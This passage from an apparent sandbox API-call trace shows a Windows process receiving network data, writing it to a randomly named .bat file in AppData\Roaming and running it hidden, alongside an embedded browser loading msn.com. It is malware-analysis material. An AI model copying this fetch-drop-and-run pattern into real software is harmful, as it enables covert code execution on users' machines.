varVal2=0x0), Flags=0x3aecf4*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), TargetFrameName=0x3aece4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), PostData=0x3aecd4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), Headers=0x3aecc4*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0074.795] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x700, wParam=0x0, lParam=0x0) returned 0x0 [0074.822] SysStringByteLen (bstr="{265b75c1-4158-11d0-90f6-00c04fd497ea}") returned 0x4c [0074.822] SysStringByteLen (bstr="{265b75c1-4158-11d0-90f6-00c04fd497ea}") returned 0x4c [0074.823] IUnknown:QueryInterface (in: This=0x1f9610, riid=0x6aabb1ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3aa09c | out: ppvObject=0x3aa09c*=0x1f94f0) returned 0x0 [0074.823] WebBrowser:IUnknown:Release (This=0x1f94f0) returned 0x16 [0074.823] SysStringByteLen (bstr="http://www.msn.com/?ocid=iehp") returned 0x3a [0074.824] SysStringByteLen (bstr="http://www.msn.com/?ocid=iehp") returned 0x3a [0074.951] CallWindowProcW (lpPrevWndFunc=0x6ed47dd0, hWnd=0x10260, Msg=0x210, wParam=0x1, lParam=0x10276) returned 0x0 [0075.013] SysStringByteLen (bstr="{D0FCA420-D3F5-11CF-B211-00AA004AE837}") returned 0x4c [0075.013] SysStringByteLen (bstr="{D0FCA420-D3F5-11CF-B211-00AA004AE837}") returned 0x4c [0075.024] IsAppThemed () returned 0x1 [0075.024] GetThemeAppProperties () returned 0x3 [0075.024] GetThemeAppProperties () returned 0x3 [0075.202] CoTaskMemAlloc (cb=0x20c) returned 0x707a1b8 [0075.202] SHGetFolderPathW (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x707a1b8 | out: pszPath="C:\\Users\\kFT6uTQW\\AppData\\Roaming") returned 0x0 [0075.202] CoTaskMemFree (pv=0x707a1b8) [0075.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming", nBufferLength=0x105, lpBuffer=0x3ae800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming", lpFilePart=0x0) returned 0x21 [0075.202] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat", nBufferLength=0x105, lpBuffer=0x3ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat", lpFilePart=0x0) returned 0x31 [0075.202] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aec68) returned 1 [0075.202] CreateFileW (lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat" (normalized: "c:\\users\\kft6utqw\\appdata\\roaminghhfhqi2h.wln.bat"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x844 [0075.203] GetFileType (hFile=0x844) returned 0x1 [0075.203] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aec64) returned 1 [0075.203] GetFileType (hFile=0x844) returned 0x1 [0075.203] QueryPerformanceCounter (in: lpPerformanceCount=0x3aecf4 | out: lpPerformanceCount=0x3aecf4*=409596472) returned 1 [0075.203] SetEvent (hEvent=0x360) returned 1 [0075.203] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb20*=0x3dc, lpdwindex=0x3ae93c | out: lpdwindex=0x3ae93c) returned 0x80010115 [0075.203] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0075.206] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3ae758) returned 0x0 [0075.206] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x3ae758) returned 0x0 [0075.207] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae508 | out: lpwndpl=0x3ae508) returned 1 [0075.207] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3ae758) returned 0x0 [0075.207] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae4b0 | out: lpRect=0x3ae4b0) returned 1 [0075.207] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae4b0 | out: lpRect=0x3ae4b0) returned 1 [0075.208] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x3ae758) returned 0x0 [0075.208] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x1071060) returned 0x0 [0075.208] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb00*=0x3d0, lpdwindex=0x3ae91c | out: lpdwindex=0x3ae91c) returned 0x80010115 [0075.208] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb00*=0x3d8, lpdwindex=0x3ae91c | out: lpdwindex=0x3ae91c) returned 0x80010115 [0075.208] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb54*=0x3fc, lpdwindex=0x3ae974 | out: lpdwindex=0x3ae974) returned 0x0 [0075.208] GetCurrentProcess () returned 0xffffffff [0075.208] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aeb2c | out: TokenHandle=0x3aeb2c*=0x848) returned 1 [0075.230] RegNotifyChangeKeyValue (hKey=0x3f8, bWatchSubtree=1, dwNotifyFilter=0x4, hEvent=0x3fc, fAsynchronous=1) returned 0x0 [0075.230] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb54*=0x408, lpdwindex=0x3ae974 | out: lpdwindex=0x3ae974) returned 0x80010115 [0075.230] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x3aeb54*=0x410, lpdwindex=0x3ae974 | out: lpdwindex=0x3ae974) returned 0x80010115 [0075.242] GetCurrentProcess () returned 0xffffffff [0075.242] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aeaf8 | out: TokenHandle=0x3aeaf8*=0x854) returned 1 [0075.242] WinHttpGetIEProxyConfigForCurrentUser (in: pProxyConfig=0x3aeae4 | out: pProxyConfig=0x3aeae4) returned 1 [0075.282] select (in: nfds=0, readfds=0x28841cc, writefds=0x0, exceptfds=0x0, timeout=0x3aebdc | out: readfds=0x28841cc, writefds=0x0, exceptfds=0x0) returned 0 [0075.282] send (in: s=0x4d0, buf=0x2884388*, len=49, flags=0 | out: buf=0x2884388*) returned 49 [0075.283] recv (in: s=0x4d0, buf=0x25dc96c, len=4096, flags=0 | out: buf=0x25dc96c*) returned 1863 [0075.365] setsockopt (s=0x4d0, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0075.365] WriteFile (in: hFile=0x844, lpBuffer=0x287e4c0*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x3aec94, lpOverlapped=0x0 | out: lpBuffer=0x287e4c0*, lpNumberOfBytesWritten=0x3aec94*=0x670, lpOverlapped=0x0) returned 1 [0075.365] CloseHandle (hObject=0x844) returned 1 [0075.468] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0075.468] CreatePipe (in: hReadPipe=0x3aec60, hWritePipe=0x3aec5c, lpPipeAttributes=0x3aec0c, nSize=0x0 | out: hReadPipe=0x3aec60*=0x830, hWritePipe=0x3aec5c*=0x8c4) returned 1 [0075.469] GetCurrentProcess () returned 0xffffffff [0075.469] GetCurrentProcess () returned 0xffffffff [0075.476] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x830, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3aec64, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3aec64*=0x8c8) returned 1 [0075.476] CloseHandle (hObject=0x830) returned 1 [0075.476] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0075.477] CoTaskMemAlloc (cb=0x20e) returned 0x7081440 [0075.477] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x7081440 | out: lpBuffer="C:\\Users\\kFT6uTQW\\Desktop") returned 0x19 [0075.477] CoTaskMemFree (pv=0x7081440) [0075.477] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\kFT6uTQW\\Desktop", lpStartupInfo=0x3aeb20*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x8c4, hStdError=0x0), lpProcessInformation=0x26ba2b4 | out: lpCommandLine="\"C:\\Users\\kFT6uTQW\\AppData\\Roaminghhfhqi2h.wln.bat\"", lpProcessInformation=0x26ba2b4*(hProcess=0x8cc, hThread=0x830, dwProcessId=0xbb0, dwThreadId=0xbb4)) returned 1 [0075.510] CloseHandle (hObject=0x8c4) returned 1 [0075.511] GetFileType (hFile=0x8c8) returned 0x3 [0075.511] CloseHandle (hObject=0x830) returned 1 [0075.511] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c*, lpNumberOfBytesRead=0x3aed1c*=0x77, lpOverlapped=0x0) returned 1 [0098.672] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c*, lpNumberOfBytesRead=0x3aed1c*=0x6, lpOverlapped=0x0) returned 1 [0098.824] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c*, lpNumberOfBytesRead=0x3aed1c*=0x1, lpOverlapped=0x0) returned 1 [0098.824] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c*, lpNumberOfBytesRead=0x3aed1c*=0x99, lpOverlapped=0x0) returned 1 [0098.824] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c*, lpNumberOfBytesRead=0x3aed1c*=0x3, lpOverlapped=0x0) returned 1 [0098.824] ReadFile (in: hFile=0x8c8, lpBuffer=0x288567c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aed1c, lpOverlapped=0x0 | out: lpBuffer=0x288567c, lpNumberOfBytesRead=0x3aed1c*=0x0, lpOverlapped=0x0) returned 0 [0098.839] GetCurrentProcess () returned 0xffffffff [0098.840] GetCurrentProcess () returned 0xffffffff [0098.840] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x8cc, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3aed08, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3aed08*=0x468) returned 1 [0098.840] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3aed14*=0x468, lpdwindex=0x3aeb34 | out: lpdwindex=0x3aeb34) returned 0x0 [0098.844] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x3ae950) returned 0x0 [0098.847] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae700 | out: lpwndpl=0x3ae700) returned 1 [0098.847] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3ae950) returned 0x0 [0098.847] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae6a8 | out: lpRect=0x3ae6a8) returned 1 [0098.847] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae6a8 | out: lpRect=0x3ae6a8) returned 1 [0098.849] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x3ae950) returned 0x0 [0098.849] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x1071060) returned 0x0 [0098.849] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0098.850] NtdllDefWindowProc_W () returned 0x0 [0098.850] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x1c, wParam=0x0, lParam=0x9c4) returned 0x0 [0098.850] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x1c, wParam=0x0, lParam=0x9c4) returned 0x0 [0098.850] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0098.850] InvalidateRect (hWnd=0x1025e, lpRect=0x0, bErase=0) returned 1 [0098.850] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0098.850] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0098.850] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0098.851] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0098.851] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x1, lParam=0x3ae9b4) returned 0x0 [0098.852] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae78c | out: lpwndpl=0x3ae78c) returned 1 [0098.852] GetSystemMenu (hWnd=0x401f0, bRevert=0) returned 0x120221 [0098.852] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae6f8 | out: lpwndpl=0x3ae6f8) returned 1 [0098.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf020, uEnable=0x1) returned 0 [0098.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf030, uEnable=0x1) returned 1 [0098.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0098.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf120, uEnable=0x0) returned 1 [0098.852] EnableMenuItem (hMenu=0x120221, uIDEnableItem=0xf000, uEnable=0x1) returned 0 [0098.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0098.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x3, wParam=0x0, lParam=0x3410000) returned 0x0 [0098.852] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae290 | out: lpRect=0x3ae290) returned 1 [0098.852] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae290 | out: lpRect=0x3ae290) returned 1 [0098.852] GetWindowTextLengthW (hWnd=0x401f0) returned 11 [0098.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xe, wParam=0x0, lParam=0x0) returned 0xb [0098.852] GetSystemMetrics (nIndex=42) returned 0 [0098.852] GetWindowTextW (in: hWnd=0x401f0, lpString=0x3ae0f4, nMaxCount=12 | out: lpString="AESxWinAuto") returned 11 [0098.852] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0xd, wParam=0xc, lParam=0x3ae0f4) returned 0xb [0098.852] SetWindowPos (hWnd=0x1025e, hWndInsertAfter=0x0, X=-425, Y=-30, cx=161, cy=17, uFlags=0x15) returned 1 [0098.852] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x46, wParam=0x0, lParam=0x3adf7c) returned 0x0 [0098.853] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x47, wParam=0x0, lParam=0x3adf7c) returned 0x0 [0098.853] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025e, Msg=0x3, wParam=0x0, lParam=0xffe2fe57) returned 0x0 [0098.853] GetClientRect (in: hWnd=0x1025e, lpRect=0x3ad7d4 | out: lpRect=0x3ad7d4) returned 1 [0098.853] GetWindowRect (in: hWnd=0x1025e, lpRect=0x3ad7d4 | out: lpRect=0x3ad7d4) returned 1 [0098.853] GetParent (hWnd=0x1025e) returned 0x401f0 [0098.853] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ad7d4, cPoints=0x2 | out: lpPoints=0x3ad7d4) returned -54591488 [0098.853] GetClientRect (in: hWnd=0x1025e, lpRect=0x3adcc0 | out: lpRect=0x3adcc0) returned 1 [0098.853] GetWindowRect (in: hWnd=0x1025e, lpRect=0x3adcc0 | out: lpRect=0x3adcc0) returned 1 [0098.853] GetParent (hWnd=0x1025e) returned 0x401f0 [0098.853] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3adcc0, cPoints=0x2 | out: lpPoints=0x3adcc0) returned -54591488 [0098.853] GetParent (hWnd=0x1025e) returned 0x401f0 [0098.853] SetWindowPos (hWnd=0x1025c, hWndInsertAfter=0x0, X=-94, Y=-30, cx=84, cy=23, uFlags=0x15) returned 1 [0098.853] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x46, wParam=0x0, lParam=0x3adf7c) returned 0x0 [0098.854] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x47, wParam=0x0, lParam=0x3adf7c) returned 0x0 [0098.854] CallWindowProcW (lpPrevWndFunc=0x7484b495, hWnd=0x1025c, Msg=0x3, wParam=0x0, lParam=0xffe2ffa2) returned 0x0 [0098.854] GetClientRect (in: hWnd=0x1025c, lpRect=0x3ad7bc | out: lpRect=0x3ad7bc) returned 1 [0098.854] GetWindowRect (in: hWnd=0x1025c, lpRect=0x3ad7bc | out: lpRect=0x3ad7bc) returned 1 [0098.854] GetParent (hWnd=0x1025c) returned 0x401f0 [0098.854] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3ad7bc, cPoints=0x2 | out: lpPoints=0x3ad7bc) returned -54591488 [0098.854] GetClientRect (in: hWnd=0x1025c, lpRect=0x3adcb4 | out: lpRect=0x3adcb4) returned 1 [0098.854] GetWindowRect (in: hWnd=0x1025c, lpRect=0x3adcb4 | out: lpRect=0x3adcb4) returned 1 [0098.854] GetParent (hWnd=0x1025c) returned 0x401f0 [0098.854] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x401f0, lpPoints=0x3adcb4, cPoints=0x2 | out: lpPoints=0x3adcb4) returned -54591488 [0098.854] GetParent (hWnd=0x1025c) returned 0x401f0 [0098.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0 [0098.854] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae734 | out: lpRect=0x3ae734) returned 1 [0098.854] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae734 | out: lpRect=0x3ae734) returned 1 [0098.854] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x1, lParam=0x3ae5c0) returned 0x0 [0098.855] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x46, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0098.855] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x83, wParam=0x1, lParam=0x3ae9b4) returned 0x0 [0098.855] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x46, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0098.856] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0099.300] GetWindowPlacement (in: hWnd=0x401f0, lpwndpl=0x3ae78c | out: lpwndpl=0x3ae78c) returned 1 [0099.300] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x47, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0099.300] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x401f0, Msg=0x5, wParam=0x1, lParam=0x0) returned 0x0 [0099.300] GetClientRect (in: hWnd=0x401f0, lpRect=0x3ae734 | out: lpRect=0x3ae734) returned 1 [0099.300] GetWindowRect (in: hWnd=0x401f0, lpRect=0x3ae734 | out: lpRect=0x3ae734) returned 1 [0099.300] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0x47, wParam=0x0, lParam=0x3ae9dc) returned 0x0 [0099.300] CallWindowProcW (lpPrevWndFunc=0x778d25dd, hWnd=0x10236, Msg=0xd, wParam=0x104, lParam=0x10710a0) returned 0x0 [0099.301] CloseHandle (hObject=0x468) returned 1 [0099.301] PeekMessageW (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x3af06c) returned 1 [0099.301] IsWindowUnicode (hWnd=0x10278) returned 0 [0099.301] GetMessageA (in: lpMsg=0x3af06c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x3af06c) returned 1 [0099.301] TranslateMessage (lpMsg=0x3af06c) returned 0 [0099.301] DispatchMessageA (lpMsg=0x3af06c) [0099.302] SysStringByteLen (bstr="Detecting proxy settings...") returned 0x36 [0099.302] SysStringByteLen (bstr="Detecting proxy settings...") returned 0x36 [0099.302] SysStringByteLen (bstr="Looking up www.msn.com") returned 0x2c [0099.302] SysStringByteLen (bstr="Looking up www.msn.com") returned 0x2c [0099.457] SysStringByteLen (bstr="Connecting to site 204.79.197.203") returned 0x42 [0099.457] SysStringByteLen (bstr="Connecting to site 204.79.197.203") returned 0x42 [0099.457] SysStringByteLen (bstr="Website found. Waiting for reply...") returned 0x46 [0099.457] SysStringByteLen (bstr="Website found. Waiting for reply...") returned 0x46 [0099.498] SysStringByteLen (bstr="Redirecting to site: http://www.msn.com/de-de/?ocid=iehp") returned 0x70 [0099.498] SysStringByteLen (bstr="Redirecting to site: http://www.msn.com/de-de/?ocid=iehp") returned 0x70 [0099.500] SysStringByteLen (bstr="Website found. Waiting for reply...") returned 0x46 [0099.500] SysStringByteLen (bstr="Website found. Waiting for reply...") returned 0x46 [0099.504] SysStringByteLen (bstr="Start downloading from site: http://www.msn.com/de-de/?ocid=iehp") returned 0x80 [0099.504] SysStringByteLen (bstr="Start downloading from site: http://www.msn.com/de-de/?ocid=iehp") returned 0x80 Thread: id = 61 os_tid = 0xaa0 Thread: id = 62 os_tid = 0xaa4 [0059.039] CoGetContextToken (in: pToken=0xf2f654 | out: pToken=0xf2f654) returned 0x800401f0 [0059.039] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0068.701] CloseHandle (hObject=0x37c) returned 1 [0068.701] CloseHandle (hObject=0x378) returned 1 [0068.701] CloseHandle (hObject=0x484) returned 1 [0068.701] CloseHandle (hObject=0x374) returned 1 [0068.701] CloseHandle (hObject=0x370) returned 1 [0068.702] CloseHandle (hObject=0x480) returned 1 [0068.702] CloseHandle (hObject=0x36c) returned 1 [0068.702] CloseHandle (hObject=0x368) returned 1 [0068.702] CloseHandle (hObject=0x45c) returned 1 [0068.702] RegCloseKey (hKey=0x258) returned 0x0 [0068.702] RegCloseKey (hKey=0x234) returned 0x0 [0068.702] RegCloseKey (hKey=0x22c) returned 0x0 [0068.702] CloseHandle (hObject=0x35c) returned 1 [0068.702] CloseHandle (hObject=0x61c) returned 1 [0068.702] CloseHandle (hObject=0x358) returned 1 [0068.702] CloseHandle (hObject=0x468) returned 1 [0068.702] CloseHandle (hObject=0x354) returned 1 [0068.703] CloseHandle (hObject=0x350) returned 1 [0068.703] CloseHandle (hObject=0x330) returned 1 [0068.703] CloseHandle (hObject=0x34c) returned 1 [0068.703] CloseHandle (hObject=0x340) returned 1 [0068.703] CloseHandle (hObject=0x494) returned 1 [0068.703] CloseHandle (hObject=0x348) returned 1 [0068.703] CloseHandle (hObject=0x380) returned 1 [0069.770] CertFreeCRLContext (pCrlContext=0x238870) returned 1 [0069.770] CertFreeCRLContext (pCrlContext=0x6fd93b0) returned 1 [0069.770] CertFreeCRLContext (pCrlContext=0x6fd9270) returned 1 [0069.770] CertFreeCRLContext (pCrlContext=0x238820) returned 1 [0069.771] CertCloseStore (hCertStore=0x21b108, dwFlags=0x0) returned 1 [0069.771] CertFreeCRLContext (pCrlContext=0x238820) returned 1 [0070.150] RegCloseKey (hKey=0x354) returned 0x0 [0071.674] RegCloseKey (hKey=0x354) returned 0x0 [0072.077] RegCloseKey (hKey=0x2a8) returned 0x0 [0072.972] RegCloseKey (hKey=0x34c) returned 0x0 [0073.778] RegCloseKey (hKey=0x354) returned 0x0 [0075.302] CloseHandle (hObject=0x848) returned 1 [0075.302] RegCloseKey (hKey=0x2a8) returned 0x0 [0075.302] CloseHandle (hObject=0x854) returned 1 [0076.127] RegCloseKey (hKey=0x8dc) returned 0x0 [0077.419] RegCloseKey (hKey=0x8e4) returned 0x0 [0078.915] RegCloseKey (hKey=0x7ec) returned 0x0 [0082.980] RegCloseKey (hKey=0x7c8) returned 0x0 [0083.437] RegCloseKey (hKey=0x540) returned 0x0 [0084.191] RegCloseKey (hKey=0x7c8) returned 0x0 [0085.270] RegCloseKey (hKey=0x7ec) returned 0x0 [0087.115] RegCloseKey (hKey=0x8e4) returned 0x0 [0087.924] RegCloseKey (hKey=0x8dc) returned 0x0 [0089.010] RegCloseKey (hKey=0x540) returned 0x0 [0089.276] RegCloseKey (hKey=0x8e4) returned 0x0 [0089.427] RegCloseKey (hKey=0x8dc) returned 0x0 [0090.683] RegCloseKey (hKey=0x468) returned 0x0 [0091.676] RegCloseKey (hKey=0x468) returned 0x0 [0091.902] RegCloseKey (hKey=0x540) returned 0x0 [0092.855] RegCloseKey (hKey=0x358) returned 0x0 [0093.294] RegCloseKey (hKey=0x468) returned 0x0 [0093.718] RegCloseKey (hKey=0x8e4) returned 0x0 [0094.056] RegCloseKey (hKey=0x540) returned 0x0 [0094.263] RegCloseKey (hKey=0x544) returned 0x0 [0094.885] RegCloseKey (hKey=0x8e4) returned 0x0 [0095.165] RegCloseKey (hKey=0x350) returned 0x0 [0096.166] RegCloseKey (hKey=0x540) returned 0x0 [0096.954] RegCloseKey (hKey=0x540) returned 0x0 [0098.241] RegCloseKey (hKey=0x35c) returned 0x0 [0098.942] RegCloseKey (hKey=0x540) returned 0x0 [0099.108] RegCloseKey (hKey=0x35c) returned 0x0 Thread: id = 63 os_tid = 0xaa8 Thread: id = 64 os_tid = 0xab0 Thread: id = 65 os_tid = 0xab4 [0064.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0064.749] CoGetContextToken (in: pToken=0x603f594 | out: pToken=0x603f594) returned 0x0 [0064.749] CObjectContext::QueryInterface () returned 0x0 [0064.749] CObjectContext::GetCurrentThreadType () returned 0x0 [0064.749] Release () returned 0x0 [0064.749] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0064.749] CoUninitialize () [0065.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x603e9f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", lpFilePart=0x0) returned 0x31 [0065.122] GetFullPathNameW (in: lpFileName="C:\\Users\\kFT6uTQW\\AppData\\Roaming\\nvss.exe.config", nBufferLength=0x105, lpBuffer=0x603e9ac, lpFilePart=0x0 | out: 